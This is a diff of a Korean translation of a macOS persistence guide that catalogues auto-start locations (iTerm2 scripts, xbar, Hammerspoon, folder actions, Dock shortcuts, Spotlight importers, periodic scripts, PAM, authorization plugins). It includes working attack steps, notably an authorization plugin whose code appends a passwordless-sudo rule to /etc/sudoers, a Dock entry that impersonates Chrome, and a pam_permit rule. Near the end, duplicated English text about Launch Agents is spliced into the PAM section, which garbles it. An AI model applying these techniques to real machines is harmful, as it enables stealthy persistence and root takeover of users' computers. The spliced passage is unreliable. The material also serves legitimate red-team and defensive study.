To improve security, it is recommended to regularly review and remove unnecessary applications from these auto-start locations.
|
||||
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
|
||||
|
||||
### Startup Items
|
||||
|
||||
Startup Items are legacy items that automatically launch when a user logs in. They are deprecated and not recommended for use.
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
|
@ -460,7 +464,7 @@ await iterm2.Window.async_create(connection)
|
|||
iterm2.run_forever(main)
|
||||
EOF
|
||||
```
|
||||
다음 스크립트 **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**도 실행됩니다:
|
||||
스크립트 **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**도 실행됩니다:
|
||||
```bash
|
||||
do shell script "touch /tmp/iterm2-autolaunchscpt"
|
||||
```
|
||||
|
@ -468,7 +472,7 @@ iTerm2 환경 설정은 **`~/Library/Preferences/com.googlecode.iterm2.plist`**
|
|||
|
||||
이 설정은 iTerm2 설정에서 구성할 수 있습니다:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
그리고 해당 명령은 환경 설정에 반영됩니다:
|
||||
```bash
|
||||
|
@ -504,7 +508,7 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
|
|||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/)
|
||||
|
||||
* 샌드박스 우회에 유용함: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 그러나 xbar가 설치되어 있어야 함
|
||||
* 그러나 xbar를 설치해야 함
|
||||
* TCC 우회: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 접근성 권한을 요청함
|
||||
|
||||
|
@ -541,7 +545,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon)은 **macOS**용 자동화 플랫폼으로, 작업에 **LUA 스크립팅 언어**를 활용합니다. 특히, 완전한 AppleScript 코드의 통합과 셸 스크립트의 실행을 지원하여 스크립팅 기능을 크게 향상시킵니다.
|
||||
|
||||
이 앱은 단일 파일인 `~/.hammerspoon/init.lua`를 찾으며, 시작되면 해당 스크립트가 실행됩니다.
|
||||
이 앱은 단일 파일인 `~/.hammerspoon/init.lua`를 찾고, 시작되면 해당 스크립트가 실행됩니다.
|
||||
```bash
|
||||
mkdir -p "$HOME/.hammerspoon"
|
||||
cat > "$HOME/.hammerspoon/init.lua" << EOF
|
||||
|
@ -559,7 +563,7 @@ EOF
|
|||
|
||||
* `~/Library/Application Support/BetterTouchTool/*`
|
||||
|
||||
이 도구는 일부 단축키가 눌렸을 때 실행할 애플리케이션 또는 스크립트를 지정할 수 있습니다. 공격자는 임의의 코드를 실행하도록 **자신만의 단축키 및 작업을 데이터베이스에 설정**할 수 있어서 임의 코드를 실행할 수 있습니다 (단축키는 키를 누르는 것만으로도 가능합니다).
|
||||
이 도구는 일부 단축키가 눌렸을 때 실행할 애플리케이션 또는 스크립트를 지정할 수 있습니다. 공격자는 임의의 코드를 실행하도록 **자신만의 단축키 및 작업을 데이터베이스에 설정**할 수 있어서 (단축키는 키를 누르는 것만으로도 가능함).
|
||||
|
||||
### Alfred
|
||||
|
||||
|
@ -592,7 +596,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
|
|||
* **트리거**: ssh를 통한 로그인
|
||||
|
||||
{% hint style="danger" %}
|
||||
ssh를 켜려면 전체 디스크 액세스가 필요합니다:
|
||||
ssh를 켜려면 전체 디스크 액세스가 필요함:
|
||||
```bash
|
||||
sudo systemsetup -setremotelogin on
|
||||
```
|
||||
|
@ -641,7 +645,7 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
|
||||
(로그인 항목에 대한 이전 섹션을 확인하십시오. 이것은 확장입니다)
|
||||
|
||||
**ZIP** 파일을 **로그인 항목**으로 저장하면 **`Archive Utility`**가 열리고, 예를 들어 **`~/Library`**에 저장된 ZIP이 **`LaunchAgents/file.plist`** 폴더를 포함하고 있고 해당 폴더에 백도어가 포함되어 있다면 (기본적으로는 그렇지 않음), 해당 폴더가 생성되고 plist가 추가되어 다음에 사용자가 다시 로그인할 때 **plist에 표시된 백도어가 실행**됩니다.
|
||||
**ZIP** 파일을 **로그인 항목**으로 저장하면 **`Archive Utility`**가 열리고, 예를 들어 **`~/Library`**에 저장된 ZIP 파일이 **`LaunchAgents/file.plist`** 폴더를 포함하고 있고 해당 폴더에 백도어가 포함되어 있다면 (기본적으로는 그렇지 않음), 해당 폴더가 생성되고 plist가 추가되어 다음에 사용자가 다시 로그인할 때 **plist에 표시된 백도어가 실행**됩니다.
|
||||
|
||||
다른 옵션으로는 사용자 홈 디렉토리 내에 **`.bash_profile`** 및 **`.zshenv`** 파일을 생성하는 것이며, LaunchAgents 폴더가 이미 존재하는 경우에도 이 기술이 여전히 작동할 것입니다.
|
||||
|
||||
|
@ -721,11 +725,11 @@ total 32
|
|||
```
|
||||
파일 이름에는 대기열, 작업 번호 및 예약된 실행 시간이 포함되어 있습니다. 예를 들어 `a0001a019bdcd2`를 살펴보겠습니다.
|
||||
|
||||
* `a` - 이것은 대기열입니다.
|
||||
* `a` - 이것은 대기열을 나타냅니다.
|
||||
* `0001a` - 16진수로 된 작업 번호, `0x1a = 26`
|
||||
* `019bdcd2` - 16진수로 된 시간. 이는 epoch 이후 경과된 분을 나타냅니다. `0x019bdcd2`는 10진수로 `26991826`입니다. 이를 60으로 곱하면 `1619509560`이 되며, 이는 `GMT: 2021년 4월 27일 화요일 7시 46분 00초`입니다.
|
||||
|
||||
작업 파일을 출력하면 `at -c`를 사용하여 얻은 정보와 동일한 정보가 포함되어 있음을 알 수 있습니다.
|
||||
작업 파일을 출력하면 `at -c`를 사용하여 얻은 정보와 동일한 정보가 포함되어 있습니다.
|
||||
|
||||
### 폴더 액션
|
||||
|
||||
|
@ -747,7 +751,7 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
|
|||
|
||||
#### 설명 및 악용
|
||||
|
||||
폴더 액션은 폴더 내의 변경 사항(항목 추가, 제거 또는 폴더 창 열기 또는 크기 조정과 같은 다른 작업)에 의해 자동으로 트리거되는 스크립트입니다. 이러한 작업은 다양한 작업에 활용될 수 있으며, Finder UI 또는 터미널 명령을 사용하여 트리거될 수 있습니다.
|
||||
폴더 액션은 폴더 내에서 항목 추가, 제거 또는 폴더 창 열기 또는 크기 조정과 같은 변경 사항에 의해 자동으로 트리거되는 스크립트입니다. 이러한 작업은 다양한 작업에 활용될 수 있으며, Finder UI 또는 터미널 명령을 사용하여 트리거될 수 있습니다.
|
||||
|
||||
폴더 액션을 설정하는 방법은 다음과 같습니다:
|
||||
|
||||
|
@ -780,11 +784,11 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
|
|||
se.folderActions.push(fa);
|
||||
fa.scripts.push(myScript);
|
||||
```
|
||||
설정 스크립트를 다음과 같이 실행하십시오:
|
||||
다음 명령어로 설정 스크립트를 실행하십시오:
|
||||
```bash
|
||||
osascript -l JavaScript /Users/username/attach.scpt
|
||||
```
|
||||
* 이것은 GUI를 통해 이 지속성을 구현하는 방법입니다:
|
||||
* GUI를 통해 이 지속성을 구현하는 방법은 다음과 같습니다:
|
||||
|
||||
다음은 실행될 스크립트입니다:
|
||||
|
||||
|
@ -814,13 +818,13 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
|
||||
이 구성은 **base64 형식의** **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**에 저장되어 있습니다.
|
||||
|
||||
이제 GUI 액세스 없이 이 영속성을 준비해 봅시다:
|
||||
이제 GUI 액세스 없이 이 지속성을 준비해 봅시다:
|
||||
|
||||
1. **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**를 `/tmp`로 백업하기:
|
||||
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
||||
2. 방금 설정한 Folder Actions를 **제거**합니다:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이제 비어 있는 환경이 있습니다.
|
||||
|
||||
|
@ -828,12 +832,12 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
4. 이 구성을 사용하도록 Folder Actions Setup.app을 엽니다: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
|
||||
{% hint style="danger" %}
|
||||
그러나 이 방법은 제게는 작동하지 않았지만, 이것이 writeup에서 제공한 지침입니다:(
|
||||
그러나 이 방법은 제게는 작동하지 않았지만, 이것은 설명서의 지침입니다:(
|
||||
{% endhint %}
|
||||
|
||||
### 독 바로 가기
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
|
||||
설명서: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
|
||||
|
||||
* 샌드박스 우회에 유용함: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 그러나 시스템 내에 악성 애플리케이션을 설치해야 함
|
||||
|
@ -846,7 +850,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.
|
|||
|
||||
#### 설명 및 악용
|
||||
|
||||
Dock에 나타나는 모든 애플리케이션은 **`~/Library/Preferences/com.apple.dock.plist`**에 지정됩니다.
|
||||
Dock에 나타나는 모든 애플리케이션은 plist 내에서 지정됩니다: **`~/Library/Preferences/com.apple.dock.plist`**
|
||||
|
||||
**애플리케이션을 추가**하는 것만으로도 가능합니다:
|
||||
|
||||
|
@ -860,7 +864,7 @@ killall Dock
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
일부 **사회 공학**을 사용하여 도크 내에서 예를 들어 Google Chrome을 **사칭**하고 실제로 자신의 스크립트를 실행할 수 있습니다:
|
||||
일부 **사회 공학 기술**을 사용하여 도크 내에서 예를 들어 **Google Chrome으로 위장**하고 실제로 자체 스크립트를 실행할 수 있습니다:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -932,11 +936,11 @@ killall Dock
|
|||
|
||||
#### 설명 및 공격
|
||||
|
||||
**코드와 함께 컬러 피커** 번들을 컴파일하십시오 (예: [**이것을 사용할 수 있습니다**](https://github.com/viktorstrate/color-picker-plus)) 그리고 생성자를 추가하십시오 ([스크린 세이버 섹션](macos-auto-start-locations.md#screen-saver)과 같이) 그리고 번들을 `~/Library/ColorPickers`로 복사하십시오.
|
||||
**코드와 함께 컬러 피커** 번들을 컴파일하고 ([**예를 들어 이것**](https://github.com/viktorstrate/color-picker-plus)을 사용할 수 있음) 생성자를 추가하고 (`macos-auto-start-locations.md#screen-saver`의 스크린 세이버 섹션과 같이) 번들을 `~/Library/ColorPickers`에 복사합니다.
|
||||
|
||||
그럼, 컬러 피커가 트리거되면 당신의 코드도 실행될 것입니다.
|
||||
|
||||
당신의 라이브러리를 로드하는 이진 파일이 매우 제한적인 샌드박스를 가지고 있음을 유의하십시오: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
당신의 라이브러리를 로드하는 이진 파일이 **매우 제한적인 샌드박스**를 가지고 있음을 유의하세요: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -965,7 +969,7 @@ killall Dock
|
|||
|
||||
Finder Sync Extension이 포함된 응용 프로그램 예시는 [**여기에서 찾을 수 있습니다**](https://github.com/D00MFist/InSync).
|
||||
|
||||
응용 프로그램은 `Finder Sync Extensions`를 가질 수 있습니다. 이 확장은 실행될 응용 프로그램 내부로 들어갑니다. 또한, 확장이 코드를 실행할 수 있도록 하려면 **일부 유효한 Apple 개발자 인증서로 서명**되어야 하며, **샌드박스**에 있어야 합니다 (비록 완화된 예외가 추가될 수 있음) 그리고 다음과 같은 것으로 등록되어야 합니다:
|
||||
응용 프로그램은 `Finder Sync Extensions`를 가질 수 있습니다. 이 확장은 실행될 응용 프로그램 내부로 들어갑니다. 또한, 확장이 코드를 실행할 수 있도록 하려면 **일부 유효한 Apple 개발자 인증서로 서명**되어야 하며, **샌드박스**에 들어가 있어야 합니다 (비록 완화된 예외가 추가될 수 있음) 그리고 다음과 같은 것으로 등록되어야 합니다:
|
||||
```bash
|
||||
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
|
||||
pluginkit -e use -i com.example.InSync.InSync
|
||||
|
@ -976,7 +980,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.
|
|||
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
||||
|
||||
* 샌드박스 우회에 유용: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 그러나 일반 애플리케이션 샌드박스에 끝나게 될 것입니다
|
||||
* 그러나 일반 애플리케이션 샌드박스에 끝남
|
||||
* TCC 우회: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 위치
|
||||
|
@ -990,7 +994,7 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
|
|||
* `~/Library/Screen Savers`
|
||||
* **트리거**: 스크린 세이버 선택
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### 설명 및 Exploit
|
||||
|
||||
|
@ -1100,16 +1104,16 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
* 루트 권한 필요
|
||||
* `Some.app/Contents/Library/Spotlight/`
|
||||
* **트리거**: 스포트라이트 플러그인이 관리하는 확장자를 가진 새 파일이 생성됨.
|
||||
* 새로운 앱 필요
|
||||
* 새 앱 필요
|
||||
|
||||
#### 설명 및 악용
|
||||
|
||||
Spotlight는 macOS의 내장 검색 기능으로, 사용자에게 **컴퓨터의 데이터에 빠르고 포괄적인 액세스**를 제공하기 위해 설계되었습니다.\
|
||||
이 빠른 검색 기능을 용이하게 하기 위해 Spotlight는 **독점 데이터베이스**를 유지하고 대부분의 파일을 구문 분석하여 색인을 생성하여 파일 이름과 내용을 통한 신속한 검색을 가능하게 합니다.
|
||||
|
||||
Spotlight의 기본 메커니즘은 'mds'라는 중앙 프로세스를 포함하며, 이는 **'메타데이터 서버'**를 나타냅니다. 이 프로세스는 Spotlight 서비스 전반을 조정합니다. 이에 보완적으로, 여러 'mdworker' 데몬이 다양한 유지 관리 작업을 수행하며, 다양한 파일 형식을 색인화합니다 (`ps -ef | grep mdworker`). 이러한 작업은 Spotlight 가져오기 플러그인 또는 **".mdimporter 번들**"을 통해 가능하며, 이를 통해 Spotlight는 다양한 파일 형식의 콘텐츠를 이해하고 색인화할 수 있습니다.
|
||||
Spotlight의 기본 메커니즘은 'mds'라는 중앙 프로세스를 포함하며, 이는 **'메타데이터 서버'**를 나타냅니다. 이 프로세스는 Spotlight 서비스 전체를 조정합니다. 이에 보완적으로, 여러 'mdworker' 데몬이 다양한 유지 관리 작업을 수행하며, 다양한 파일 형식을 색인화합니다 (`ps -ef | grep mdworker`). 이러한 작업은 Spotlight 가져오기 플러그인 또는 **".mdimporter 번들**"을 통해 가능하며, 이를 통해 Spotlight는 다양한 파일 형식의 콘텐츠를 이해하고 색인화할 수 있습니다.
|
||||
|
||||
플러그인 또는 **`.mdimporter`** 번들은 이전에 언급된 위치에 있으며, 새 번들이 나타나면 분 내에 로드됩니다(서비스를 다시 시작할 필요 없음). 이러한 번들은 관리할 수 있는 **파일 유형 및 확장자를 나타내야**하며, 이렇게 하면 스포트라이트가 지정된 확장자를 가진 새 파일이 생성될 때 이를 사용합니다.
|
||||
플러그인 또는 **`.mdimporter`** 번들은 이전에 언급된 위치에 있으며, 새 번들이 나타나면 분 단위로 로드됩니다(서비스를 다시 시작할 필요 없음). 이러한 번들은 관리할 수 있는 **파일 유형 및 확장자를 나타내야**하며, 이렇게 하면 스포트라이트가 지정된 확장자를 가진 새 파일이 생성될 때 이를 사용합니다.
|
||||
|
||||
로드된 **모든 `mdimporters`**를 찾을 수 있습니다. 실행 중:
|
||||
```bash
|
||||
|
@ -1159,15 +1163,15 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
{% hint style="danger" %}
|
||||
만약 다른 `mdimporter`의 Plist를 확인하면 **`UTTypeConformsTo`** 항목을 찾을 수 없을 수 있습니다. 이는 내장 _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier))이기 때문에 확장자를 지정할 필요가 없기 때문입니다.
|
||||
|
||||
또한, 시스템 기본 플러그인이 항상 우선권을 갖기 때문에, 공격자는 애플의 자체 `mdimporters`에 의해 색인화되지 않은 파일에만 액세스할 수 있습니다.
|
||||
또한, 시스템 기본 플러그인이 항상 우선권을 갖기 때문에, 공격자는 애플의 `mdimporters`에 의해 인덱싱되지 않은 파일에만 액세스할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
자체 Importer를 만들려면 이 프로젝트를 시작할 수 있습니다: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) 그리고 이름, **`CFBundleDocumentTypes`**를 변경하고 **`UTImportedTypeDeclarations`**를 추가하여 지원하려는 확장자를 지원하도록하고 **`schema.xml`**에서 이를 반영하십시오.\
|
||||
자체 `importer`를 만들려면 이 프로젝트를 시작할 수 있습니다: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) 그리고 이름을 변경하고, **`CFBundleDocumentTypes`**를 변경하고 **`UTImportedTypeDeclarations`**를 추가하여 지원하려는 확장자를 지원하도록하고 **`schema.xml`**에서 이를 반영하십시오.\
|
||||
그런 다음 **`GetMetadataForFile`** 함수의 코드를 **변경**하여 처리된 확장자가 포함된 파일이 생성될 때 페이로드를 실행하도록합니다.
|
||||
|
||||
마지막으로 새로운 `.mdimporter`를 빌드하고 복사하여 이전 위치 중 하나에 붙여넣고 **로그를 모니터링**하거나 **`mdimport -L`**을 확인하여 로드될 때마다 확인할 수 있습니다.
|
||||
마지막으로 새로운 `.mdimporter`를 빌드하고 복사하여 이전 위치 중 하나에 붙여넣고 **로드되었는지 확인**하려면 **로그를 모니터링**하거나 **`mdimport -L`**을 확인할 수 있습니다.
|
||||
|
||||
### ~~Preference Pane~~
|
||||
### ~~환경설정 창~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
더 이상 작동하지 않는 것 같습니다.
|
||||
|
@ -1176,7 +1180,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/)
|
||||
|
||||
* 샌드박스 우회에 유용함: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 특정 사용자 조치가 필요함
|
||||
* 특정 사용자 조치가 필요합니다
|
||||
* TCC 우회: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 위치
|
||||
|
@ -1189,18 +1193,18 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.
|
|||
|
||||
더 이상 작동하지 않는 것 같습니다.
|
||||
|
||||
## Root Sandbox Bypass
|
||||
## 루트 샌드박스 우회
|
||||
|
||||
{% hint style="success" %}
|
||||
여기에서는 **루트** 권한이 필요하거나 다른 **이상한 조건**이 필요한 **파일에 쓰기만으로 무언가를 실행**할 수 있는 **샌드박스 우회**에 유용한 시작 위치를 찾을 수 있습니다.
|
||||
여기에서는 **루트**가 되어 **파일에 쓰기**만으로 무언가를 실행할 수 있는 **샌드박스 우회**에 유용한 시작 위치를 찾을 수 있습니다. 이는 **루트**이거나 다른 **이상한 조건**을 요구합니다.
|
||||
{% endhint %}
|
||||
|
||||
### 주기적인
|
||||
### 주기적
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/)
|
||||
|
||||
* 샌드박스 우회에 유용함: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 그러나 루트 권한이 필요함
|
||||
* 그러나 루트 권한이 필요합니다
|
||||
* TCC 우회: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 위치
|
||||
|
@ -1212,10 +1216,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.
|
|||
* 루트 권한 필요
|
||||
* **트리거**: 시간이 되었을 때
|
||||
|
||||
#### 설명 및 악용
|
||||
#### 설명 및 이용
|
||||
|
||||
주기적 스크립트 (**`/etc/periodic`**)는 `/System/Library/LaunchDaemons/com.apple.periodic*`에 구성된 **런치 데몬** 때문에 실행됩니다. `/etc/periodic/`에 저장된 스크립트는 **파일의 소유자로 실행**되기 때문에 잠재적인 권한 상슨에는 작동하지 않습니다.
|
||||
{% code overflow="wrap" %}
|
||||
주기적 스크립트인 **`/etc/periodic`**은 `/System/Library/LaunchDaemons/com.apple.periodic*`에 구성된 **런치 데몬** 때문에 실행됩니다. `/etc/periodic/`에 저장된 스크립트는 파일의 소유자로 **실행**되므로 잠재적인 권한 상승에는 작동하지 않습니다.
|
||||
```bash
|
||||
# Launch daemons that will execute the periodic scripts
|
||||
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
|
||||
|
@ -1248,17 +1251,17 @@ total 8
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
다른 주기적인 스크립트들이 실행될 것으로 표시된 것이 **`/etc/defaults/periodic.conf`**에 있습니다:
|
||||
다른 주기적 스크립트는 **`/etc/defaults/periodic.conf`**에 나와 있습니다:
|
||||
```bash
|
||||
grep "Local scripts" /etc/defaults/periodic.conf
|
||||
daily_local="/etc/daily.local" # Local scripts
|
||||
weekly_local="/etc/weekly.local" # Local scripts
|
||||
monthly_local="/etc/monthly.local" # Local scripts
|
||||
```
|
||||
만약 `/etc/daily.local`, `/etc/weekly.local`, 또는 `/etc/monthly.local` 파일 중 하나를 작성한다면 **언젠가 실행**될 것입니다.
|
||||
만약 `/etc/daily.local`, `/etc/weekly.local`, 또는 `/etc/monthly.local` 파일 중 하나를 작성한다면 **결국 실행**될 것입니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
주기적 스크립트는 **스크립트의 소유자로 실행**됩니다. 따라서 일반 사용자가 스크립트를 소유하고 있다면 해당 사용자로 실행됩니다 (이는 권한 상승 공격을 방지할 수 있음).
|
||||
주기적인 스크립트는 **스크립트의 소유자로 실행**됩니다. 따라서 일반 사용자가 스크립트를 소유하고 있다면 해당 사용자로 실행됩니다 (이는 권한 상승 공격을 방지할 수 있음).
|
||||
{% endhint %}
|
||||
|
||||
### PAM
|
||||
|
@ -1276,7 +1279,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.
|
|||
|
||||
#### 설명 및 Exploitation
|
||||
|
||||
PAM은 macOS 내에서 쉬운 실행보다는 **지속성**과 악성 코드에 더 중점을 둔다. 이 기술을 더 잘 이해하기 위해 **해당 기술에 대한 설명을 읽어보세요**.
|
||||
PAM은 macOS 내에서 쉬운 실행보다는 **지속성**과 악성 코드에 더 중점을 둔다. 이 블로그에서는 이 기술을 더 잘 이해하기 위해 자세한 설명을 제공하지 않습니다. **기술 설명을 읽어보세요**.
|
||||
|
||||
PAM 모듈을 확인하려면:
|
||||
```bash
|
||||
|
@ -1286,37 +1289,30 @@ ls -l /etc/pam.d
|
|||
|
||||
### Launch Agents
|
||||
|
||||
#### Global
|
||||
Launch Agents are used to run code at login or when a user logs in. They are located in the following directories:
|
||||
|
||||
- `/Library/LaunchAgents/`
|
||||
- `/Library/LaunchDaemons/`
|
||||
|
||||
#### Per-User
|
||||
|
||||
- `~/Library/LaunchAgents/`
|
||||
|
||||
### Login/Logout Items
|
||||
|
||||
- System Preferences > Users & Groups > Login Items
|
||||
|
||||
### Startup Items
|
||||
|
||||
- `/Library/StartupItems/`
|
||||
|
||||
### Cron Jobs
|
||||
|
||||
- `crontab -l`
|
||||
- `/etc/crontab`
|
||||
- `/etc/cron.*/*`
|
||||
|
||||
### Kernel Extensions
|
||||
|
||||
- `/Library/Extensions/`
|
||||
- `/System/Library/Extensions/`
|
||||
- `/System/Library/LaunchAgents/`
|
||||
- `/Users/username/Library/LaunchAgents/`
|
||||
|
||||
### Launch Daemons
|
||||
|
||||
Launch Daemons are used to run code at boot or when the system starts up. They are located in the following directories:
|
||||
|
||||
- `/Library/LaunchDaemons/`
|
||||
- `/System/Library/LaunchDaemons/`
|
||||
|
||||
### Login Items
|
||||
|
||||
Login Items are applications that open when a user logs in. They can be managed in System Preferences > Users & Groups > Login Items.
|
||||
|
||||
### Startup Items
|
||||
|
||||
Startup Items are legacy items that are launched at system startup. They are located in the `/Library/StartupItems/` directory.
|
||||
|
||||
### Cron Jobs
|
||||
|
||||
Cron Jobs are scheduled tasks that run at specific times. They can be managed using the `crontab` command or by editing the `/etc/crontab` file.
|
||||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
|
@ -1354,7 +1350,7 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
|
|||
|
||||
#### 설명 및 Exploitation
|
||||
|
||||
사용자가 로그인할 때 실행되는 권한 플러그인을 생성하여 지속성을 유지할 수 있습니다. 이러한 플러그인 중 하나를 생성하는 방법에 대한 자세한 정보는 이전의 writeup을 확인하십시오 (그리고 조심하세요, 잘못 작성된 플러그인은 사용자를 잠금 상태로 만들 수 있으며 복구 모드에서 Mac을 정리해야 할 수 있습니다).
|
||||
사용자가 로그인할 때 실행되는 권한 플러그인을 생성하여 지속성을 유지할 수 있습니다. 이러한 플러그인 중 하나를 생성하는 방법에 대한 자세한 정보는 이전의 writeup을 확인하십시오 (그리고 조심하세요, 잘못 작성된 플러그인은 잠길 수 있으며 복구 모드에서 Mac을 정리해야 할 수도 있습니다).
|
||||
```objectivec
|
||||
// Compile the code and create a real bundle
|
||||
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
||||
|
@ -1369,7 +1365,7 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
|
|||
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
|
||||
}
|
||||
```
|
||||
**번들**을 로드할 위치로 **이동**하십시오:
|
||||
**번들**을 로드될 위치로 **이동**하십시오:
|
||||
```bash
|
||||
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
|
||||
```
|
||||
|
@ -1392,9 +1388,9 @@ EOF
|
|||
|
||||
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
|
||||
```
|
||||
**`evaluate-mechanisms`**은 인가 프레임워크에게 **외부 메커니즘을 호출해야 한다는 것을 알려줍니다**. 더불어 **`privileged`**는 이를 루트로 실행하도록 만듭니다.
|
||||
**`evaluate-mechanisms`**은 인가 프레임워크에게 **외부 메커니즘을 호출해야 한다는 것을 알려줍니다**. 더불어 **`privileged`**는 루트(root)에 의해 실행되도록 만듭니다.
|
||||
|
||||
다음과 같이 트리거합니다:
|
||||
다음과 같이 트리거(trigger)합니다:
|
||||
```bash
|
||||
security authorize com.asdf.asdf
|
||||
```
|
||||
|
@ -1412,7 +1408,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
|
|||
|
||||
* **`/private/etc/man.conf`**
|
||||
* 루트 권한 필요
|
||||
* **`/private/etc/man.conf`**: man을 사용할 때마다
|
||||
* **`/private/etc/man.conf`**: man을 사용할 때
|
||||
|
||||
#### 설명 및 Exploit
|
||||
|
||||
|
@ -1455,7 +1451,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
이렇게하면 Apache가 컴파일된 모듈을 로드합니다. 유일한 것은 **유효한 Apple 인증서로 서명**해야하거나 시스템에 **신뢰할 수있는 새 인증서를 추가**하고 해당 인증서로 **서명**해야합니다.
|
||||
이렇게하면 Apache에 의해 컴파일된 모듈이 로드됩니다. 유일한 것은 **유효한 Apple 인증서로 서명**해야하거나 시스템에 **신뢰할 수있는 새 인증서를 추가**하고 해당 인증서로 **서명**해야합니다.
|
||||
|
||||
그런 다음 필요한 경우 서버가 시작되도록하려면 다음을 실행할 수 있습니다:
|
||||
```bash
|
||||
|
@ -1485,11 +1481,11 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
|
|||
|
||||
* **`/etc/security/audit_warn`**
|
||||
* 루트 권한 필요
|
||||
